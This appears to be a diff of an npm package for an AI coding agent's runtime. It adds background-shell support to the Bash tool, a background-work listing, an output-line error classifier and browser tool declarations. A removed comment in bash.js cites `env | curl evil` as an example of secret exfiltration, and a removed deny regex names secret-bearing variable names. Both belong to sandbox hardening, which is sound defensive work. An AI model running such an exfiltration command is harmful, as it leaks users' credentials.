@cjhyy/code-shell-core 0.5.0-rc.1 → 0.6.0-rc.1

package/dist/tool-system/builtin/background-work.js

@@ -0,0 +1,86 @@
+/**
+ * Unified view over the THREE kinds of async background work — background
+ * sub-agents (asyncAgentRegistry), background jobs / video polls
+ * (backgroundJobRegistry), and background shells (backgroundShellManager).
+ *
+ * Used by the goal-stop-hook to show the judge LLM what's still running, so it
+ * can tell "the goal is done except for a finite task that will wake me" (a
+ * download / video render → allow stop, wait for the wakeup) from "a long-lived
+ * service that the goal doesn't depend on" (a dev server → judge the goal
+ * normally). Replacing the old mechanical `hasRunningForSession` short-circuit:
+ * a boolean can't distinguish a finite download from a never-ending dev server,
+ * but the judge — given each task's kind + command — can.
+ */
+import { asyncAgentRegistry } from "./agent-registry.js";
+import { backgroundJobRegistry } from "./background-jobs.js";
+import { backgroundShellManager } from "../../runtime/background-shell.js";
+/** List every still-running background work item spawned by `sessionId`. */
+export function listRunningBackgroundWork(sessionId) {
+    const items = [];
+    for (const a of asyncAgentRegistry.listForSession(sessionId)) {
+        if (a.status === "running") {
+            items.push({
+                kind: "subagent",
+                description: a.description || a.name || a.agentType || "(background sub-agent)",
+            });
+        }
+    }
+    for (const j of backgroundJobRegistry.listRunningForSession(sessionId)) {
+        items.push({ kind: "job", description: j.description || "(background job)" });
+    }
+    for (const s of backgroundShellManager.listForSession(sessionId)) {
+        if (s.status === "running" || s.status === "starting") {
+            items.push({
+                kind: "shell",
+                description: s.command,
+                ...(s.detectedPort != null ? { detectedPort: s.detectedPort } : {}),
+            });
+        }
+    }
+    return items;
+}
+/**
+ * Every background-work item spawned by `sessionId`, with per-kind detail, for
+ * the desktop panel. Includes finished sub-agents that are still within their
+ * fade window (so a just-completed agent doesn't vanish before the user sees
+ * it); shells carry their own terminal status and the panel decides how long to
+ * keep them. Jobs are only ever present while running (the registry drops them
+ * on finish).
+ */
+export function listBackgroundWorkForUI(sessionId) {
+    const entries = [];
+    for (const s of backgroundShellManager.listForSession(sessionId)) {
+        entries.push({ kind: "shell", shell: s });
+    }
+    const now = Date.now();
+    for (const a of asyncAgentRegistry.listForSession(sessionId)) {
+        // Keep running agents, plus finished ones still inside their fade window so
+        // a completion is briefly visible. (finishedFadeAt = finishedAt + 30s.)
+        const fresh = a.status === "running" || (a.finishedFadeAt != null && a.finishedFadeAt > now);
+        if (!fresh)
+            continue;
+        entries.push({
+            kind: "subagent",
+            agentId: a.agentId,
+            name: a.name,
+            agentType: a.agentType,
+            description: a.description,
+            status: a.status,
+            startedAt: a.startedAt,
+            finishedAt: a.finishedAt,
+        });
+    }
+    for (const j of backgroundJobRegistry.listForSession(sessionId)) {
+        entries.push({
+            kind: "job",
+            jobId: j.jobId,
+            description: j.description,
+            status: j.status,
+            startedAt: j.startedAt,
+            ...(j.finishedAt != null ? { finishedAt: j.finishedAt } : {}),
+            ...(j.finalText != null ? { finalText: j.finalText } : {}),
+            ...(j.changedFiles && j.changedFiles.length ? { changedFiles: j.changedFiles } : {}),
+        });
+    }
+    return entries;
+}

package/dist/tool-system/builtin/bash-output-style.d.ts

@@ -0,0 +1,32 @@
+/**
+ * Bash output styling classifier (A1 — Shell error highlighting).
+ *
+ * The Bash tool emits a single text body that interleaves three kinds of
+ * content (see bash.ts):
+ *   - the prepended status line `Exit code: N (command failed)` /
+ *     `Killed by signal: X` (only present on failure),
+ *   - stdout,
+ *   - a stderr section introduced by a lone `STDERR:` marker line, which runs
+ *     to the end of the body.
+ *
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
+ * portions without mutating the text — copy must still yield the exact bytes
+ * the model saw. This pure classifier maps each line to a kind so each surface
+ * can apply its own error color. It deliberately lives next to bash.ts so the
+ * markers it recognizes stay in lock-step with what bash.ts produces.
+ *
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
+ */
+export type BashLineKind = "normal" | "error";
+export interface ClassifiedBashLine {
+    /** The original line, verbatim (never trimmed/altered — copy fidelity). */
+    text: string;
+    kind: BashLineKind;
+}
+/**
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
+ * seen, every subsequent line is part of the stderr region (sticky). Status
+ * lines are flagged wherever they appear.
+ */
+export declare function classifyBashLines(lines: string[]): ClassifiedBashLine[];

package/dist/tool-system/builtin/bash-output-style.js

@@ -0,0 +1,40 @@
+/**
+ * Bash output styling classifier (A1 — Shell error highlighting).
+ *
+ * The Bash tool emits a single text body that interleaves three kinds of
+ * content (see bash.ts):
+ *   - the prepended status line `Exit code: N (command failed)` /
+ *     `Killed by signal: X` (only present on failure),
+ *   - stdout,
+ *   - a stderr section introduced by a lone `STDERR:` marker line, which runs
+ *     to the end of the body.
+ *
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
+ * portions without mutating the text — copy must still yield the exact bytes
+ * the model saw. This pure classifier maps each line to a kind so each surface
+ * can apply its own error color. It deliberately lives next to bash.ts so the
+ * markers it recognizes stay in lock-step with what bash.ts produces.
+ *
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
+ */
+/** The exact status-line prefixes bash.ts prepends on a failed command. */
+function isStatusLine(line) {
+    return /^Exit code: \d+ \(command failed\)$/.test(line) || /^Killed by signal: /.test(line);
+}
+/**
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
+ * seen, every subsequent line is part of the stderr region (sticky). Status
+ * lines are flagged wherever they appear.
+ */
+export function classifyBashLines(lines) {
+    let inStderr = false;
+    return lines.map((text) => {
+        if (text === "STDERR:") {
+            inStderr = true;
+            return { text, kind: "error" };
+        }
+        const kind = inStderr || isStatusLine(text) ? "error" : "normal";
+        return { text, kind };
+    });
+}

package/dist/tool-system/builtin/bash.d.ts

@@ -16,6 +16,9 @@
  *     Killed by signal, the truncation message, sandbox denial hints).
  */
 import type { ToolContext } from "../context.js";
-import type { ToolDefinition } from "../../types.js";
+import type { ToolDefinition, ToolResult } from "../../types.js";
 export declare const bashToolDef: ToolDefinition;
-export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string | {
+    result: string;
+    sandbox: ToolResult["sandbox"];
+}>;

package/dist/tool-system/builtin/bash.js

@@ -17,6 +17,15 @@
  */
 import { createOffBackend } from "../sandbox/off.js";
 import { safeSpawnShell } from "../../runtime/safe-spawn.js";
+import { truncateHeadTail } from "../../runtime/truncate-output.js";
+import { buildSandboxEnv, mergeShellEnv, defaultShellBinary } from "../../runtime/spawn-common.js";
+import { backgroundShellManager } from "../../runtime/background-shell.js";
+/** UI 标记:这次 Bash 走没走沙箱 + 网络策略。off 也带(显式标「未隔离」)。 */
+function sandboxMark(backend) {
+    return backend.name === "off"
+        ? { backend: "off" }
+        : { backend: backend.name, network: backend.network };
+}
 export const bashToolDef = {
     name: "Bash",
     description: "Execute a shell command and return its output. " +
@@ -34,66 +43,57 @@ export const bashToolDef = {
                 type: "string",
                 description: "Short description of what the command does",
             },
+            run_in_background: {
+                type: "boolean",
+                description: "Run the command in the background instead of blocking. Use for BOTH long-lived services " +
+                    "(a dev server like `npm run dev`) AND slow one-shot tasks that would otherwise block for a " +
+                    "long time (a download, a long build/test run). Returns immediately with a shell_id. " +
+                    "When the command FINISHES you are automatically notified and woken to continue — so do NOT " +
+                    "sleep, poll, or repeatedly BashOutput to wait for it. Just end your turn (or do other work); " +
+                    "the system wakes you on completion. Use BashOutput(shell_id) only to check on a still-running " +
+                    "process on demand, KillShell(shell_id) to stop one, ListShells() to enumerate. The process is " +
+                    "killed when the session/app exits. (A never-exiting service like a dev server simply never " +
+                    "fires that completion wakeup — that's expected.)",
+            },
         },
         required: ["command"],
     },
 };
 const MAX_OUTPUT = 100_000;
 const MAX_BUFFER = 10 * 1024 * 1024;
-/**
- * Env vars that are always safe to forward into the sandboxed shell. We pass
- * through enough for common Unix tooling (locale, PATH, HOME, terminal width)
- * but strip everything else. The Bash tool is the only thing the LLM can
- * directly steer at the shell, and a tainted model with full env access can
- * trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
- * `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
- * already in the process environment.
- *
- * `off` backend keeps the historical full-passthrough behavior — the user
- * explicitly opted out of sandboxing.
- */
-const ENV_ALLOWLIST = new Set([
-    "PATH",
-    "HOME",
-    "USER",
-    "LOGNAME",
-    "SHELL",
-    "LANG",
-    "LC_ALL",
-    "LC_CTYPE",
-    "TERM",
-    "TMPDIR",
-    "TZ",
-    "COLUMNS",
-    "LINES",
-    "PWD",
-]);
-/**
- * Names matching these patterns are dropped even if they appear in the
- * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
- * leak just because it starts with `PATH`). Match is case-insensitive on
- * the full name.
- */
-const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
-function buildSandboxEnv() {
-    const out = {};
-    for (const name of ENV_ALLOWLIST) {
-        const v = process.env[name];
-        if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
-            out[name] = v;
-        }
-    }
-    return out;
-}
+// The env allowlist / deny regex that hardens a sandboxed shell now lives in
+// runtime/spawn-common.ts so foreground (this tool) and background shells
+// share one source of truth. The `off` backend keeps the historical
+// full-passthrough behavior — the user explicitly opted out of sandboxing.
 export async function bashTool(args, ctx) {
     const command = args.command;
     if (!command)
         return "Error: command is required";
-    const timeout = args.timeout || 120_000;
+    // A non-positive timeout (caller passing 0 / -5 / NaN) falls back to the
+    // default. `|| 120_000` only caught 0/NaN; a negative slipped through to
+    // setTimeout (clamped to 0 → near-instant kill → confusing "timed out after
+    // -5ms"). Treat non-positive as "use default" so the command actually runs.
+    const rawTimeout = args.timeout;
+    const timeout = typeof rawTimeout === "number" && rawTimeout > 0 ? rawTimeout : 120_000;
     const cwd = ctx?.cwd ?? process.cwd();
-    const shell = process.env.SHELL || "/bin/bash";
+    const shell = defaultShellBinary();
     const backend = ctx?.sandbox ?? createOffBackend();
-    const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
+    const sandbox = sandboxMark(backend);
+    // Tag every textual return below with the sandbox mark so the UI badge
+    // shows up whether the command succeeded, failed, timed out, or aborted.
+    const mark = (result) => ({ result, sandbox });
+    // Project localEnvironment.env (ctx.shellEnv) layers on top of either the
+    // full passthrough (off) or the hardened allowlist (sandboxed) — see
+    // mergeShellEnv. Background mode merges the same way inside the manager.
+    const baseEnv = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
+    const env = mergeShellEnv(baseEnv, ctx?.shellEnv);
+    // Background mode: spawn a detached, long-lived process and return a
+    // shell_id immediately (design §5.1). Fire-and-forget — the turn is never
+    // blocked, and Engine.run's wait-for-background loop never waits on it
+    // (§难点5: that loop only looks at asyncAgentRegistry).
+    if (args.run_in_background === true) {
+        return mark(runInBackground(command, ctx));
+    }
     // A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
     // is centralized in safeSpawnShell. We still handle Bash's user-facing
     // output formatting here.
@@ -111,25 +111,34 @@ export async function bashTool(args, ctx) {
         signal: ctx?.signal,
     });
     if (result.aborted) {
-        return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
+        return mark(wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.");
     }
     if (result.timedOut) {
-        return `Command timed out after ${timeout}ms`;
+        return mark(`Command timed out after ${timeout}ms`);
     }
     if (result.spawnFailed) {
-        return `Failed to spawn command: ${result.error ?? "unknown error"}`;
+        return mark(`Failed to spawn command: ${result.error ?? "unknown error"}`);
     }
-    let output = "";
+    let body = "";
     if (result.stdout)
-        output += result.stdout;
+        body += result.stdout;
     if (result.stderr)
-        output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
-    if (!output)
-        output = "(command completed with no output)";
+        body += (body ? "\n" : "") + `STDERR:\n${result.stderr}`;
+    if (!body)
+        body = "(command completed with no output)";
+    // Truncate the OUTPUT body head+tail (TODO 2.11) — the tail of a failing
+    // command (the error / final summary) is usually the most useful part, so we
+    // keep both ends instead of dropping the end. The exit-code/signal status
+    // line is prepended AFTER truncation so it's never lost.
+    if (body.length > MAX_OUTPUT) {
+        body = truncateHeadTail(body, { cap: MAX_OUTPUT });
+    }
     const code = result.exitCode;
     const sig = result.signal;
+    let output = body;
     if (code !== 0 && code !== null) {
-        output = `Exit code: ${code}\n${output}`;
+        // Semantic non-zero-exit marker (TODO 2.11): clear "command FAILED" line.
+        output = `Exit code: ${code} (command failed)\n${output}`;
     }
     else if (code === null && sig) {
         // Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
@@ -140,10 +149,37 @@ export async function bashTool(args, ctx) {
     const hint = backend.hintForBlockedOutput?.(result.stderr);
     if (hint)
         output += hint;
-    if (output.length > MAX_OUTPUT) {
-        output =
-            output.slice(0, MAX_OUTPUT) +
-                `\n\n... output truncated (${output.length} chars total)`;
+    return mark(output);
+}
+/**
+ * Bash(run_in_background=true) branch: start a long-lived background shell
+ * through the BackgroundShellManager and return its handle. Same sandbox as
+ * the foreground path (D8). Rejected in unattended automation runs (§5.5)
+ * because no one is there to reap a dev server.
+ */
+function runInBackground(command, ctx) {
+    if (ctx?.allowBackgroundShells === false) {
+        return "Error: background shells are not available in automation/headless runs. Run the command in the foreground, or have a human start the dev server.";
+    }
+    const sessionId = ctx?.sessionId;
+    if (!sessionId) {
+        return "Error: run_in_background requires a session context (no sessionId available).";
+    }
+    const mgr = ctx?.backgroundShells ?? backgroundShellManager;
+    const r = mgr.spawnBackground({
+        command,
+        cwd: ctx?.cwd ?? process.cwd(),
+        sessionId,
+        sandbox: ctx?.sandbox,
+        shellEnv: ctx?.shellEnv,
+    });
+    if (!r.ok) {
+        return `Error: ${r.error}`;
     }
-    return output;
+    return [
+        "Started background shell.",
+        `shell_id: ${r.shellId}`,
+        `command: ${command}`,
+        `(Use BashOutput("${r.shellId}") to read output; KillShell("${r.shellId}") to stop; ListShells() to enumerate.)`,
+    ].join("\n");
 }

package/dist/tool-system/builtin/browser-tools.d.ts

@@ -0,0 +1,33 @@
+/**
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
+ * to keep the LLM's tool list lean:
+ *
+ *   browser_observe  — observe the page: snapshot (a11y elements) / read (text) /
+ *                      extract (link+image+video URLs). [+ image/vision in P4]
+ *   browser_act      — interact: click / type / select / press_key / hover /
+ *                      scroll / wait / list_tabs / switch_tab (action-dispatched).
+ *   browser_navigate — load a URL (high-frequency, kept standalone).
+ *
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
+ *
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
+ * token-economical, no screenshots); act references elements by the ref the
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
+ *
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
+ */
+import type { ToolDefinition } from "../../types.js";
+import type { ToolContext } from "../context.js";
+import type { BuiltinToolResult } from "./index.js";
+export declare const browserObserveToolDef: ToolDefinition;
+export declare function browserObserveTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<BuiltinToolResult>;
+export declare const browserActToolDef: ToolDefinition;
+export declare function browserActTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+export declare const browserNavigateToolDef: ToolDefinition;
+export declare function browserNavigateTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
+/** True when the session has a browser bridge wired (used to gate visibility). */
+export declare function isBrowserAutomationAvailable(ctx?: ToolContext): boolean;